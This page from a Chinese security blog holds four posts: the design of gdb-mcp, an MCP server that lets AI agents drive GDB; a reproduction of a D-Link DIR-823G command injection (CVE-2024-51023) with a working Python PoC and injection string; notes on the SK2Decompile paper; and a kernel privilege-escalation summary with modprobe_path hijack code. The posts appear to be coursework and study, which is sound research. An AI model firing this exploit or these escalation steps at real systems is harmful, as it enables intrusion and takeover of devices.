BeaCox's Blog

Why gdb-mcp?

root@beacox.space (BeaCox) — Sat, 20 Jun 2026 12:00:00 +0800

最近写了一个项目：gdb-mcp。

BeaCox/gdb-mcp

A production-ready MCP server for multi-session GDB and gdbserver debugging through GDB/MI.

Python

一句话概括，它是一个面向 MCP 客户端的 GDB server，让 Codex、Claude Code 之类的 agent 可以通过结构化 tool 调用来控制 GDB，而不是把 GDB 当成普通 shell 程序来用。

TL;DR
#

gdb-mcp 想解决的问题是：让 agent 能够稳定地进入动态调试循环。

用 GDB/MI 和 MCP tool 封装 GDB，而不是让 agent 自己拼裸命令、解析终端输出
显式维护多 GDB session，避免“当前调试目标”这种隐式状态
为 run / continue / step 这类操作返回 compact context，包括当前位置、backtrace、locals 和 stop reason
默认关闭写内存、调用函数、任意 GDB 命令等危险能力
支持本地程序、attach、core dump、gdbserver 和 reverse debugging 等逆向/漏挖常见场景

我的理解是，agent 想做自动化逆向和漏洞挖掘，不能只有静态分析能力。很多关键事实只存在于运行时，而 GDB 正是最通用的运行时观察入口。

初心
#

我一开始想做这个东西，是因为我觉得 GDB MCP 对 agent 自动化逆向和漏洞挖掘很重要。

逆向和漏挖并不只是“看静态代码”。很多时候真正有用的信息来自动态过程：

一个输入走到了哪条分支
某个变量在崩溃前被改成了什么
堆块、寄存器、栈帧、线程状态现在是什么样
patch 一个条件、改一个变量、倒回一步之后行为是否变化
core dump 里保存的现场能不能还原出漏洞路径

这些工作以前主要由人来驱动 GDB：下断点、运行、单步、看 backtrace、看 locals、读内存、继续跑，再根据结果调整下一步。Agent 想进入这个循环，就需要一个稳定的调试接口。

如果没有这样的接口，agent 只能把 GDB 当成一个普通命令行程序来用。这会带来几个问题：输出格式不稳定、上下文太长、状态不清晰，并且很难区分“读一下状态”和“修改目标程序”。

市面上已经有一些 GDB MCP，但我试下来都不太符合自己想要的工作流。主要问题如下：

会话模型不够明确，多目标调试时容易混在一起
过度依赖裸 gdb_execute，agent 需要自己拼命令、自己解析输出
输出没有为 LLM 上下文做压缩，一次 backtrace 或 disassemble 就可能塞进很多无关内容
安全边界不清楚，读状态、控制执行、写内存、调用 inferior 函数混在一起
对 attach、core、gdbserver、reverse debugging 这些逆向/漏洞场景常用能力支持不足

于是我决定自己（vibe）写一个。

设计目标
#

gdb-mcp 的目标不是把所有 GDB 命令原样搬到 MCP 里，而是给 agent 一个更适合自动化推理的调试抽象。

目前它的定位大概是：

Linux-first，优先保证本地 GDB / core / attach / gdbserver 的常见路径可靠
每个调试目标都有显式 session_id，不存在隐式当前会话
常用操作都做成专用 tool，而不是让 agent 到处执行裸命令
执行类工具尽量直接返回当前位置、栈和局部变量，减少 agent 再发多轮查询
默认安全，写内存、调用函数、任意 GDB 命令必须显式开启 unsafe
支持 Codex、Claude Code 以及任何标准 MCP client

目前版本到了 0.3.0，工具数量五十多个，覆盖 session 管理、执行控制、断点、线程/栈帧、表达式求值、反汇编、内存读取、core、attach、gdbserver、reverse debugging 和诊断信息。

技术路线
#

整体结构并不复杂：

MCP client
  |
  | stdio
  v
gdb-mcp lazy proxy
  |
  | first gdb_* tool call
  v
gdb-mcp backend
  |
  | GDB/MI
  v
GDB / gdbserver / target program

这里有两个关键选择：一是用 GDB/MI，而不是直接解析普通 CLI 输出；二是默认入口是一个 lazy stdio proxy。

GDB/MI
#

GDB 普通 CLI 输出是给人看的，不是给程序解析的。同样是一个栈帧、一个断点、一次停止原因，CLI 输出经常依赖格式化文本。Agent 当然可以“读懂”文本，但如果要做自动化，就不能每一步都赌模型的自然语言解析能力。

GDB/MI 的输出更接近结构化协议，例如 result record、exec async record、stream record 都有固定形态。项目里写了一个轻量 MI parser，把 GDB 输出解析成统一的 MIRecord：

^done、^error 这类 result record 用来判断命令是否成功
*stopped、*running 这类 async record 用来维护 inferior 状态
~、@、& 分别对应 console、target、log stream
token 用来把命令和返回结果关联起来

这样 MCP tool 返回给 agent 的就不是一整段终端文本，而是 JSON 结构：ok、result_class、results、stopped、console、target、async、raw 等字段都被拆出来了。

多会话
#

另一个设计点是多会话。

我不希望这个工具存在“当前正在调试的程序”这种隐式全局状态。Agent 只要跑久一点，就很容易出现：

上一轮开了一个 GDB 没关
用户又让它看另一个 binary
过程中还 attach 了一个进程
后面一句“继续运行”到底指哪个目标不明确

所以 gdb-mcp 的所有 session 操作都围绕显式 session_id 展开。SessionManager 负责创建、查找、关闭 session；每个 GdbSession 内部维护自己的 GDB 子进程、命令 token、pending command、最近事件、最近命令、last stop 和可选的 gdbserver 子进程。

这对于 agent 来说很重要。它可以先 gdb_list_sessions 看当前有哪些会话，再决定复用还是新建；多个程序并行分析时，也不会因为“当前 GDB”被覆盖而混乱。

命令路由
#

GDB/MI 比较麻烦的一点是异步。一次命令发出去之后，可能先收到 ^running，随后收到若干 stream record，最后收到 *stopped；也可能命令本身已经 ^done，但 inferior 还没有停。

gdb-mcp 的处理方式是：

每条命令分配一个递增 token。
_PendingCommand 记录这个 token 对应的 future、result record、stopped record 和中间 records。
reader task 持续读取 GDB stdout，解析成 MIRecord。
根据 token 和 record 类型把输出路由到对应 pending command。
对 run、continue、step 这类命令，可以设置 wait_for_stop=True，等到真正停止后再返回。

这比简单地“发一行命令，读到 prompt 就结束”要麻烦，但对调试是必要的。因为 agent 关心的往往不是命令是否发出成功，而是程序现在停在了哪里、为什么停、还能看到什么现场。

Demo
#

仓库里放了一个最小 demo，用来验证最核心的调试路径：编译一个简单 C 程序，下断点，运行到目标函数，然后让 agent 一次性拿到现场。

demo 程序如下：

#include <stdio.h>

static int add(int a, int b) {
    int total = a + b;
    return total;
}

int main(void) {
    int value = add(2, 40);
    printf("value=%d\n", value);
    return value == 42 ? 0 : 1;
}

先编译：

cc -g -gdwarf-4 -O0 examples/hello.c -o /tmp/gdb-mcp-hello

然后在 Codex 或 Claude Code 里，其实只需要给一个比较自然的任务：

Use GDB MCP to debug /tmp/gdb-mcp-hello.
Set a breakpoint at add, run, show the current location, backtrace, locals,
then continue once.

对应到 MCP tool flow，大致是：

gdb_create_session 加载 /tmp/gdb-mcp-hello
gdb_set_breakpoint 在 add 下断点
gdb_run_and_context 运行到断点并返回现场
gdb_continue_and_context 继续运行到程序退出
gdb_close_session 关闭 session

关键是第三步。传统 GDB wrapper 可能只会告诉 agent “程序停了”，然后 agent 还需要继续问当前 frame、backtrace、locals。gdb_run_and_context 会把这些信息一起返回，结果类似：

action: run
stop: breakpoint-hit
location: add at examples/hello.c:3
backtrace: #0 add:3 <- #1 main:8
locals: a=2, b=40

这说明 agent 已经知道程序停在 add，参数 a 和 b 分别是 2、40，调用者是 main。如果继续执行，gdb_continue_and_context 会返回程序输出：

value=42

Context Tool
#

早期只做基础 GDB wrapper 的时候，我很快发现一个问题：agent 调试程序时，常常会重复发这样的工具序列：

run / continue / step
current location
backtrace
locals
根据结果决定下一步

如果每一次执行控制都要再查三次状态，成本高，且上下文容易碎。所以现在提供了一组 *_and_context 工具：

gdb_run_and_context
gdb_continue_and_context
gdb_step_and_context
gdb_next_and_context
gdb_reverse_continue_and_context
gdb_reverse_step_and_context
gdb_reverse_next_and_context
gdb_reverse_finish_and_context

这些工具在执行后会自动收集：

当前 frame
backtrace
locals
stop reason
target output
一段 compact summary

例如一个典型结果会包含类似这样的 summary：

action: run
stop: breakpoint-hit
location: add at /tmp/hello.c:3
backtrace: #0 add:3 <- #1 main:8
locals: a=2, b=40

这其实是给 agent 的“最小可用现场”。它不需要立刻看到所有 MI 原始结果，但如果确实需要，也可以传 include_raw=true 拿完整 payload。

我的理解是，这是 GDB MCP 和普通 shell GDB 最大的差别之一：它不只是让 agent 能“调用 GDB”，而是把调试循环中最常用的观察结果整理成适合模型消费的形态。

工具分层
#

目前工具大致分成几类。

Session 管理
#

包括：

gdb_create_session
gdb_attach
gdb_load_core
gdb_connect_gdbserver
gdb_launch_gdbserver
gdb_list_sessions
gdb_status
gdb_close_session

这里比较在意的是 attach、core 和 gdbserver。因为真实逆向/漏洞分析里，很多目标并不是简单 gdb ./a.out 就能覆盖：

fuzzing 产生 core，需要加载 core 还原现场
服务进程已经在运行，需要 attach
目标跑在容器、虚拟机、远程环境里，需要 gdbserver
某些场景希望 gdbserver :0 自动选择端口，再由 MCP 解析实际端口连接

gdb_launch_gdbserver 会启动本地 gdbserver、解析 banner 里的端口、创建 GDB session 并连接上去。如果连接失败，会清理刚创建的 GDB 和 gdbserver，避免留下僵尸进程。

执行控制
#

包括 run、continue、interrupt、signal、step、next、detach、kill，以及 reverse debugging 相关工具。

Reverse debugging 对自动化分析挺有意义。漏洞触发后，agent 经常知道“这里坏了”，但不知道“什么时候开始坏的”。如果目标和 GDB 支持 process record，就可以从崩溃点往回走：

gdb_start_recording
gdb_reverse_continue
gdb_reverse_step
gdb_reverse_next
gdb_reverse_finish

这类能力手动用起来已经很有价值，放到 agent workflow 里会更有想象空间。

观察与分析
#

常用的包括：

gdb_context
gdb_backtrace
gdb_locals
gdb_eval_expression
gdb_registers
gdb_read_memory
gdb_read_c_string
gdb_disassemble
gdb_disassemble_current_frame
gdb_source
gdb_memory_mappings
gdb_shared_libraries
gdb_info_files

这些工具的原则是：能用更窄、更语义化的接口解决，就不要让 agent 自己拼 GDB 命令。例如读字符串就给 gdb_read_c_string，读内存就给 gdb_read_memory，看当前 PC 附近反汇编就给 gdb_disassemble_current_frame。

这会牺牲一部分 GDB 的自由度，但换来的是更稳定的自动化路径。

安全边界
#

调试器天然危险。

GDB 可以 attach 到进程，可以读内存，可以改变量，可以写内存，可以调用 inferior 函数，甚至可以通过 CLI 执行 shell 命令。把这种能力交给 agent，如果没有边界，风险很高。

所以 gdb-mcp 默认区分几类能力：

Read：读取调试状态或目标状态
Execution：运行、继续、中断、attach、detach、kill
Mutation：修改调试器状态，例如断点、frame、路径
Unsafe：可能执行目标代码或修改 inferior 状态

默认情况下，以下能力是关掉的：

gdb_execute
gdb_call_function
gdb_set_variable
gdb_write_memory
gdb_breakpoint_commands

必须显式使用：

gdb-mcp --unsafe

或者：

GDB_MCP_ALLOW_UNSAFE=1 gdb-mcp

此外，安全模式下的表达式求值也做了保守过滤。比如 gdb_eval_expression、gdb_print、gdb_set_watchpoint 会拒绝明显的函数调用、赋值、自增自减和控制字符。这个过滤不是 sandbox，不能当作对恶意输入的完整隔离，但它能防止 agent 在普通“读一下变量”的任务中顺手执行了 puts() 或改掉目标状态。

Lazy Proxy
#

0.3.0 里一个比较重要的变化是默认入口变成 lazy stdio proxy。

MCP client 启动时一般会枚举 server 的工具。如果 server 一启动就拉起完整 GDB backend，体验会比较差：用户可能只是打开了一个 Codex 会话，并不一定真的要调试程序，但这时后端已经启动、依赖已经检查、进程也挂着了。

现在的默认 gdb-mcp 命令只做一件事：立刻向 MCP client 暴露完整 tool schema，但真正的 backend 等到第一次调用 gdb_* 工具时才启动。

这样有几个好处：

MCP client 启动更快
不调试时没有多余 GDB 后端进程
仍然保留完整工具发现能力
需要时可以切到独立 backend 或 HTTP backend

如果想显式运行后端，也可以用：

gdb-mcp-backend --transport streamable-http --host 127.0.0.1 --port 8000
GDB_MCP_BACKEND_URL=http://127.0.0.1:8000/mcp gdb-mcp

HTTP transport 默认也应该只绑定 loopback。调试器服务不应该裸露到不可信网络里。

目前的状态
#

截至现在，gdb-mcp 已经具备了我最开始想要的核心形态：

agent 可以创建多个隔离的 GDB session
可以调试本地程序、attach 进程、加载 core、连接或启动 gdbserver
可以用 context tool 低成本获得当前位置、栈和局部变量
可以做常见的断点、watchpoint、寄存器、内存、反汇编、source 查看
可以在显式 unsafe 模式下进行更强的修改和调用
可以通过 lazy proxy 适配 Codex / Claude Code 这类 MCP client 的启动模型

当然它还远不是终点。后面我比较想继续做的方向包括：

更好的 crash triage workflow，比如从 core 自动提取崩溃点、输入、调用链和关键内存
更适合漏洞挖掘的 heap / allocator 辅助工具（pwndbg？）
对常见 sanitizer、fuzzer 输出的整合
更强的远程调试和容器隔离方案
针对 agent 的调试策略 prompt / workflow 示例
更细粒度的权限模型，而不是只有 safe / unsafe 两档

小结
#

我对这个项目的判断是：agent 做自动化逆向和漏洞挖掘，需要稳定的动态调试接口。

纯静态分析当然有价值，但很多关键事实只存在于运行时。以前人类逆向工程师会通过 GDB 把这些事实一点点挖出来；如果 agent 要参与这个过程，它就需要一个能保持会话、能结构化观察、能控制风险、能压缩上下文的 GDB 接口。

gdb-mcp 目前就是朝这个方向做的一版实现。它还不复杂，也不完美，但已经能支撑实际的 agent 调试循环了。

后面应该会继续沿着“少一点裸命令，多一点面向分析任务的工具”这个方向迭代。

CVE-2024-51023 复现

root@beacox.space (BeaCox) — Thu, 01 Jan 2026 23:59:59 +0800

NIS8015 的课程作业，截止我复现时还没有公开 PoC，很有意思的作业。

漏洞原理分析
#

CVE 描述
#

D-Link DIR_823G 1.0.2B05 was discovered to contain a command injection vulnerability via the Address parameter in the SetNetworkTomographySettings function. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.

二进制定位
#

❯ grep -ri "SetNetworkTomographySettings"
grep: bin/goahead: binary file matches
web_mtn/Diagnosis.html:    var networkTomographySettings = new SOAPSetNetworkTomographySettings();
web_mtn/Diagnosis.html:    soapAction.sendSOAPAction("SetNetworkTomographySettings",networkTomographySettings,null).done(function(obj){
web_mtn/Diagnosis.html:        if(obj.SetNetworkTomographySettingsResult == "OK"){
web_mtn/js/SOAP/SOAPDiagnosis.js:function SOAPSetNetworkTomographySettings(){

可以看到这个函数在 /bin/goahead 二进制中，这是一个轻量级 HTTP 服务器。

Source 点
#

在该二进制中搜索 SetNetworkTomographySettings，可以看到如上的路由表，SetNetworkTomographySettings 对应 sub_441F70。

int __fastcall sub_441F70(int a1) // SetNetworkTomographySettings
{
...
  if ( a1 )
  {
    v39 = 0;
    v40 = 0;
    String = mxmlLoadString(0, a1, 0);
    if ( String && mxmlFindElement(String, String, "SetNetworkTomographySettings", 0, 0, 1) )
    {
      Element = mxmlFindElement(String, String, "Address", 0, 0, 1);
      Text = mxmlGetText(Element, 0);
      if ( Text )
      {
        if ( (unsigned int)strlen(Text) < 0x80 )
        {
          if ( apmib_set(7026, Text) ) // key-value pair
          {
			...
          }
          else
          {
            puts("error, apmib set MIB_PING_ADDRESS", v6, v7);
          }
        }
        else
        {
          puts("address length is error!", v4, v5);
        }
      }
      else
      {
        puts("error, ping address is NULL", v2, v3);
      }
    }
    ...
}

MIB 表中 ID = 7026 的配置项被设置为 Address 的参数值，从 DEBUG 信息也可以看到，这个配置项实则是 MIB_PING_ADDRESS。

Sink点
#

用户输入会被存储到 MIB 表中 ID =7026 的配置项（MIB_PING_ADDRESS），随后肯定会从 MIB 表中被取出，从而触发漏洞，因此直接在 IDA 中搜索 immediate value 7026：

sub_4424E0 函数如下：

void __fastcall sub_4424E0(int a1) // GetNetworkTomographyResult
{
  ...
  if ( a1 )
  {
	...
    if ( apmib_get(7026, v37) )
    {
      snprintf(v40, 6, "ping  ");
      v3 = strlen(v37);
      strncat(v40, v37, v3);
      if ( apmib_get(7027, &v41) )
      {
        strcat(v40, " -c ");
        sprintf(v38, "%d -w %d", v41, v41);
        v6 = strlen(v38);
        strncat(v40, v38, v6);
        if ( apmib_get(7028, &v42) )
        {
          strcat(v40, " -s ");
          sprintf(v39, "%d", v42);
          v9 = strlen(v39);
          strncat(v40, v39, v9);
          strcat(v40, " > /tmp/ping.txt 2>>/tmp/ping.txt");
          puts(v40, v10, v11);
          system((int)v40);
  ...
}

可以看到 MIB_PING_ADDRESS 被取出，随后未经过滤直接被拼接到 ping 命令中，导致了命令注入。

该函数和 SetNetworkTomographySettings 在同一个路由表中，符号名为 GetNetworkTomographyResult。

因此可以得出结论：要触发这个漏洞，首先要触发 SetNetworkTomographySettings ，构造恶意的命令注入字符串；随后触发 GetNetworkTomographyResult 执行恶意的 ping 命令。

PoC
#

SetNetworkTomographySettings 所在路由表的开头如下：

LOAD:00588D80 off_588D80:     .word aSetmultipleact    # DATA XREF: sub_42383C+150↑o
LOAD:00588D80                                          # "SetMultipleActions"
LOAD:00588D84                 .word sub_4339E8
LOAD:00588D88                 .word aGetdevicesetti_4  # "GetDeviceSettings"
LOAD:00588D8C                 .word sub_432FA8
LOAD:00588D90                 .word aGetoperationmo    # "GetOperationMode"

可以看到 off_588D80 为表的起始位置，查看其交叉引用：

int __fastcall sub_42383C(int a1, int a2, int a3, int a4, int a5, int a6, const char *a7) // websHNAPFuncHandler
{
  int v8; // [sp+34h] [+34h]
  int v9; // [sp+38h] [+38h]
  int v10; // [sp+40h] [+40h]
  char v11[104]; // [sp+4Ch] [+4Ch] BYREF
  int v12; // [sp+B4h] [+B4h] BYREF
  _BYTE v13[5000]; // [sp+B8h] [+B8h] BYREF

  v10 = 0;
  strcpy(
    v11,
    "HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n");
  v9 = 0;
  v12 = 0;
  dword_58A6C0 = a1;
  v8 = malloc(10240);
  if ( v8 )
  {
    memset(v8, 0, 10240);
    v9 = malloc(51200);
    if ( v9 )
    {
      memset(v9, 0, 51200);
      if ( *(_DWORD *)(a1 + 1316) )
      {
        apmib_get(7011, &v12);
        for ( dword_58A6C4 = (int)&off_588D80; *(_DWORD *)dword_58A6C4; dword_58A6C4 += 8 ) // ref here
        {
          if ( strstr(*(_DWORD *)(a1 + 1316), *(_DWORD *)dword_58A6C4) )
          {
            memset(v13, 0, sizeof(v13));
            snprintf(v13, 4999, "echo '%s' >/var/hnaplog", a7);
            system(v13);
            printf("wp->hnapfunc===========>%s\n", *(const char **)(a1 + 1316));
            if ( !strncmp(*(_DWORD *)dword_58A6C4, "GetLocalMac", 11) )
            {
              memset(&qword_58A6A0, 0, 32);
              strncpy(&qword_58A6A0, a1 + 48, 32);
            }
            if ( (*(int (__fastcall **)(const char *))(dword_58A6C4 + 4))(a7) )
              break;
          }
        }
      }
      else
      {
        sub_432FA8(a7);
      }
    }
    else
    {
      printf("websHNAPFuncHandler: not enough memory (1)\n!");
      v10 = -1;
    }
  }
  else
  {
    printf("websHNAPFuncHandler: not enough memory (0)\n!");
    v10 = -1;
  }
  free(v8);
  free(v9);
  return v10;
}

可以看到该函数符号名为 websHNAPFuncHandler，即 HNAP 调度器，作用是根据 API 名字调用匹配的处理函数。

再查看 websHNAPFuncHandler 的上层调用：

int sub_423F90() // initWebs
{
  int v1; // $v0
  int v2; // [sp+28h] [+28h]
  int v3; // [sp+2Ch] [+2Ch]
  _DWORD v4[4]; // [sp+30h] [+30h] BYREF
  _BYTE v5[128]; // [sp+40h] [+40h] BYREF
  _BYTE v6[128]; // [sp+C0h] [+C0h] BYREF

  memset(v4, 0, sizeof(v4));
  sub_423E90("br0", v4);
  sub_40F750();
  sub_4158C0();
  sub_416908("adm", 7, 3, 0, 0);
  if ( "admin" && aAdmin[0] && "1234" && a1234[0] )
  {
    sub_415F5C("admin", "1234", "adm", 0, 0);
    sub_4172CC("/", 3, 0, "adm");
  }
  else
  {
    error("goahead.c", 502, 2, "gohead.c: Warning: empty administrator account or password");
  }
  v3 = inet_addr(v4);
  if ( v3 == -1 )
  {
    error("goahead.c", 531, 2, "initWebs: failed to convert %s to binary ip data", (const char *)v4);
    return -1;
  }
  else
  {
    strcpy(v5, off_5890B0);
    sub_40542C(v5);
    v2 = inet_ntoa(v3);
    if ( (unsigned int)(strlen(v2) + 1) >= 0x80 )
      v1 = 128;
    else
      v1 = strlen(v2) + 1;
    sub_40D104(v6, v2, v1);
    sub_4205C0(v6);
    sub_42051C(v6);
    sub_4053C4("default.asp");
    sub_411D4C(off_5890B4);
    sub_41BC40(dword_5890B8, dword_5890BC);
    sub_40B1F4(&dword_4A3C4C, 0, 0, sub_4110F4, 1);
    sub_40B1F4("/HNAP1", 0, 0, sub_42383C, 0);
    sub_40B1F4("/goform", 0, 0, sub_40A810, 0);
    sub_40B1F4("/cgi-bin", 0, 0, sub_403D00, 0);
    sub_40B1F4("/EXCU_SHELL", 0, 0, sub_4234CC, 0);
    sub_40B1F4(&dword_4A3C4C, 0, 0, sub_404940, 2);
    sub_4110B4();
    sub_40B1F4("/", 0, 0, sub_424320, 0);
    return 0;
  }
}

在这个函数里完成了很多初始化工作（怎么还有 EXCU_SHELL，后门是吧），可以看到所有 HNAP SOAP API 都被注册到 sub_42383C。故 SetNetworkTomographySettings 和 GetNetworkTomographyResult 都要向 /HNAP1 API 发送请求，对应不同的 SOAPAction。

分析到这，漏洞点触发方式已经初具雏形：

POST /HNAP1
SOAPAction: "http://purenetworks.com/HNAP1/SetNetworkTomographySettings"

XML 中 Address 标签内含有命令注入 payload。

POST /HNAP1
SOAPAction: "http://purenetworks.com/HNAP1/GetNetworkTomographyResult"

PingResult 标签内含有命令执行的结果。

SOAP XML 的格式可以参考：https://regmedia.co.uk/2016/11/07/dlink_hnap_captcha.pdf

最终形成如下PoC：

#!/usr/bin/env python3
import requests
import sys
import time

def hnap(ip, action, body):
    try:
        r = requests.post(f"http://{ip}/HNAP1/", data=body, headers={
            'Content-Type': 'text/xml',
            'SOAPAction': f'"http://purenetworks.com/HNAP1/{action}"'
        }, timeout=10)
        print(f"[+] {action}: {r.status_code}\n{r.text}\n")
        return r
    except Exception as e:
        print(f"[-] {e}")

def exploit(ip, payload="8.8.8.8"):
    # 设置参数
    hnap(ip, "SetNetworkTomographySettings", f'''
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <SetNetworkTomographySettings xmlns="http://purenetworks.com/HNAP1/">
            <Address>{payload}</Address>
            <Number>4</Number>
            <Size>64</Size>
        </SetNetworkTomographySettings>
    </soap:Body>
</soap:Envelope>
''')
    
    time.sleep(1)
    
    # 触发执行
    hnap(ip, "GetNetworkTomographyResult", '''
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <GetNetworkTomographyResult xmlns="http://purenetworks.com/HNAP1/"/>
    </soap:Body>
</soap:Envelope>
''')

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <IP> [命令]\n示例: {sys.argv[0]} 192.168.1.1 '8.8.8.8; id'")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "8.8.8.8")

仿真利用
#

不允许有空格，且 sh 不支持很多高级语法，没找到绕过空格过滤并使用 telnetd 开放 shell 的办法。

          strcat(v40, " > /tmp/ping.txt 2>>/tmp/ping.txt");
          puts((int)v40, v10, v11);
          system((int)v40);
          v34 = fopen("/tmp/ping.txt", "r");
          if ( v34 )
          {
            if ( !fread(v36, 1, 49152, v34) )
              puts((int)"fread ping.txt is error ", v14, v15);
            fclose(v34);
          }
		  ...
              v29 = mxmlNewElement(v31, "PingResult");
              if ( v29 )
              {
                mxmlNewText(v29, 0, v36);

命令执行的结果会被写入到 /tmp/ping.txt，并被写回响应 XML 的 PingResult 标签内。故想要达到“实现系统命令 ls 执⾏，并通过⻚⾯回显等⼿段完成利⽤效果的验证”，只要将 ls 的结果重定向到 /tmp/ping.txt 并将后面的命令截断即可：

python3 poc.py 192.168.0.1 "||ls>/tmp/ping.txt|"

FirmAE 开 debug 模式：

用 FirmAE Debugger 的 gdbserver attach 到 goahead进程，在0x4428bc处下断点，可以看到执行 PoC 后，形成了如下命令字符串：

在响应的 XML 中，可以看到 ls 执行的结果：

Sk2Decompile 论文阅读笔记

root@beacox.space (BeaCox) — Wed, 22 Oct 2025 10:00:00 +0800

这是 LLM4Decompile 团队今年（2025年）10月初发布的新工作。

论文题目：SK2Decompile: LLM-based Two-Phase Binary Decompilation from Skeleton to Skin
链接：https://arxiv.org/abs/2509.22114

TL;DR
#

二阶段反编译，核心思想是将反编译这一复杂任务拆解为结构恢复与语义恢复两个阶段：

第一阶段模型专注于重建程序的控制与数据结构，通过设计新的中间语言（IR）将所有变量、函数和类型名统一替换为占位符，从而保证循环、条件、函数调用等结构的完整性。此阶段的强化学习（RL）奖励以结构一致性为核心，鼓励模型生成与原始程序在控制流层面相似的结果。
第二阶段则在此基础上恢复语义信息，重点是为标识符、函数调用和数据流重建合理的语义关联。此阶段的 RL 奖励转向语义相似性，引导模型学习更自然、更贴近真实代码逻辑的命名与表达。整体流程中，监督微调（SFT）用于建立基础的结构与语义映射，而分阶段的 RL 则进一步平衡功能正确性与可读性，使最终反编译结果在逻辑上准确且在人类层面具备良好的可理解性。

我的理解是先恢复循环、条件语句、数据结构等，确保结构信息的完整，再恢复语义信息，结构信息完整的情况下其实语义也会恢复得更可读（至少后面一步不会破坏前一步的成果，而且由于冗余的中间变量被消除了很多，模型也能够更专注于恢复有用的变量）。

解决的问题是同时提升功能正确性和语义可读性。核心是将反编译这个复杂任务拆分成两个子任务，毕竟大模型更擅长完成小型任务。

技术路线
#

${SK}^2Decompile$ 代表 Skeleton to Skin Decompile，将语义结构比作程序的骨架，标识符比作皮肤。

上图展示了${SK}^2Decompile$ 的框架，其包括两个阶段的反编译过程，即结构恢复和标识符恢复，两个阶段的中间层是文章设计的一种中间语言。两个阶段的模型都使用了 SFT 和 RL，但 RL 的奖励函数不同。

IR
#

对于任何信息流反编译伪代码→ IR →源代码，中间表示必须平衡压缩性和相关性。压缩性意味着 IR 应该从伪代码中丢弃不相关的细节，以使结构恢复阶段易于处理。此外，相关性指的是 IR 必须保留足够的信息以在标识符恢复阶段重构源代码。文章设计的 IR 是混淆后的源代码，即所有标识符都被通用占位符替换，这样所有结构信息被保留、标识符语义信息被删除。

两阶段反编译流程
#

结构恢复挑战，对应 $ P(i \mid u) $ ，在IR 上执行标识符恢复，对应 $ P(s \mid i) $。

做了一个马尔可夫假设来简化命名概率：

$$ P(s \mid i, u) \approx P(s \mid i) $$

即原始的伪代码相比 IR ，不为标识符重命名提供额外信息。

在此基础上，我们得到最终的概率模型： $$ P(s \mid u) = \sum_i P(s \mid i) \cdot P(i \mid u) $$

于是将从整个反编译优化过程拆成了相对更简单的两步。

RL
#

在两个阶段的模型中都用到强化学习（RL），但是它们的奖励函数不同。

其中，结构恢复模型的奖励函数由两部分组成：首先是恢复得到的 IR 能否编译，另一部分是和 ground-truth IR 的相似度系数：

标识符恢复模型的奖励函数为生成代码和参考源代码之间的语义相似度，通过余弦相似度来测量。

实验
#

为了确保数据质量，做了以下几步：

删除所有注释
将 clang 格式应用于源代码来规范代码
格式化伪代码以遵守 R2I 标准
使用 MinHash-LSH 来识别并删除近似重复

指标
#

R2I 测量代码结构的相对可读性。
GPT-Judge 使用 GPT-5-mini（OpenAI，2025）来评估输出的标识符有效性，1表示性能差，5表示性能优异。
可重新执行率，检查反编译代码是否可以成功重新编译并通过原始测试用例

结果
#

很大幅度地提高了可重新执行率，R2I 和 GPT-Judge 结果也在多数情况下更优，由于是 LLM4Decompile 团队的新工作，所以 ${SK}^2Decompile$ 在各项指标上都要优于前者。

case study
#

e 的效果确实更好（主要和只有一阶段的c比较）

Kernel 提权路径总结

root@beacox.space (BeaCox) — Mon, 18 Aug 2025 21:00:00 +0800

任意地址写（AAW）
#

modprobe_path
#

sys_execve()
  => do_execve()
    => do_execveat_common()
      => bprm_execve()
        => exec_binprm()
          => search_binary_handler()
            => request_module()
              => __request_module()
                => call_modprobe()
                  => call_usermodehelper_exec()
                    => queue_work(call_usermodehelper_exec_work)
[ kworker ]
call_usermodehelper_exec_work()
  => call_usermodehelper_exec_sync()
    => call_usermodehelper_exec_async()
      => kernel_execve()

非法文件
#

利用条件：CONFIG_BINFMT_MISC=y 且 CONFIG_STATIC_USERMODEHELPER=n

若是我们能够劫持 modprobe_path，将其改写为我们指定的恶意脚本的路径，随后我们再执行一个非法文件（内核无法根据文件头识别文件信息），内核将会以 root 权限执行我们的恶意脚本。

流程示意如下：

// create fake modprobe_path file
root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " MAGIC_PATH);

// hijack modprobe_path
AAW(modprobe_path, MAGIC_PATH)

// trigger the exploit
puts("[*] trigerring fake modprobe_path...");   
system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
system("chmod +x /home/trigger");
system("/home/trigger");

AF_ALG socket
#

利用条件：CONFIG_STATIC_USERMODEHELPER=n

去年11月的 [/fs/exec.c-patch]/fs/exec.c-patch 补丁修改了search_binary_handler()函数使其不再调用request_module()，所以新版本内核中，无法通过执行非法文件来触发劫持控制流。

但内核中调用request_module()的方式非常多，其中最符合利用需求的是AF_ALG socket¹。

AF_ALG 是一个基于套接字的接口，允许用户空间访问内核的加密API，但在此技术中，它被用于不调用任何加密功能。

当在这个套接字上调用bind()时，它会触发alg_bind()函数。这个函数会搜索与用户提供的sa->salg_type [5]对应的类型，如果未找到，它会调用request_module() [6]来尝试加载。

static const struct proto_ops alg_proto_ops = {
        .family         =       PF_ALG,
        .owner          =       THIS_MODULE,
        ...
        .bind           =       alg_bind,
        .release        =       af_alg_release,
        .setsockopt     =       alg_setsockopt,
        .accept         =       alg_accept,
};
static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
{
        const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY;
        struct sock *sk = sock->sk;
        struct alg_sock *ask = alg_sk(sk);
        struct sockaddr_alg_new *sa = (void *)uaddr;
        const struct af_alg_type *type;
        void *private;
        int err;
        ...
        sa->salg_type[sizeof(sa->salg_type) - 1] = 0;
        sa->salg_name[addr_len - sizeof(*sa) - 1] = 0;
        type = alg_get_type(sa->salg_type);    // [5]
        if (PTR_ERR(type) == -ENOENT) {
                request_module("algif-%s", sa->salg_type);    // [6]
                type = alg_get_type(sa->salg_type);
        }

